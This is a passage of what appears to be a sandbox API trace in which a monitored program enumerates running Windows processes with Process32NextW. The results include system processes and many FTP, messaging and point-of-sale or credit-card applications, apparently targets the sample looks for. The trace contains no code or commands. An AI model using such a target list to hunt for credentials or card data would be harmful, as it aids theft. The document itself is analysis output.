Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.618] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.619] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0079.619] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.620] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0079.621] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0079.621] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.622] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0080.013] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0080.014] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0080.014] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0080.015] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0080.016] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0080.017] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0080.017] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0080.018] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0080.019] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-windsor.exe")) returned 1 [0080.019] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed.exe")) returned 1 [0080.020] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="housing.exe")) returned 1 [0080.026] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrated.exe")) returned 1 [0080.026] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="clara_cancer.exe")) returned 1 [0080.027] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="solutionspassengersmoke.exe")) returned 1 [0080.028] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="wanted.exe")) returned 1 [0080.028] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="negotiations_g_mountains.exe")) returned 1 [0080.029] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rebound_spec_december.exe")) returned 1 [0080.030] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rt-flight.exe")) returned 1 [0080.031] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actually_kent.exe")) returned 1 [0080.031] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0080.032] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0080.033] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary-fluid-heating.exe")) returned 1 [0080.033] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="copefinancesringtones.exe")) returned 1 [0080.034] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="recommend hold florists.exe")) returned 1 [0080.035] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0080.035] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0080.036] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0080.037] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0080.037] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0080.039] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0080.040] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0080.059] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0080.060] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0080.067] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0080.069] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0080.070] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0080.071] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0080.072] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0082.625] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0082.626] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0082.630] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0082.631] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0083.105] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0083.106] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0083.107] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0083.108] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0083.109] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0083.110] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0083.112] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0083.113] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0083.114] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0083.115] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0083.116] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0083.117] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0083.118] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0083.119] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0083.123] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0083.124] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0083.128] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0083.130] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0083.131] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0083.133] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0083.134] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0083.136] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0083.138] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0083.140] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0083.142] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hearts_walker_poet.exe")) returned 1 [0083.145] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="lb_community.exe")) returned 1 [0083.146] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hispanic.exe")) returned 1 [0083.148] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0083.431] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1120, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.432] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0083.433] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0083.434] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, 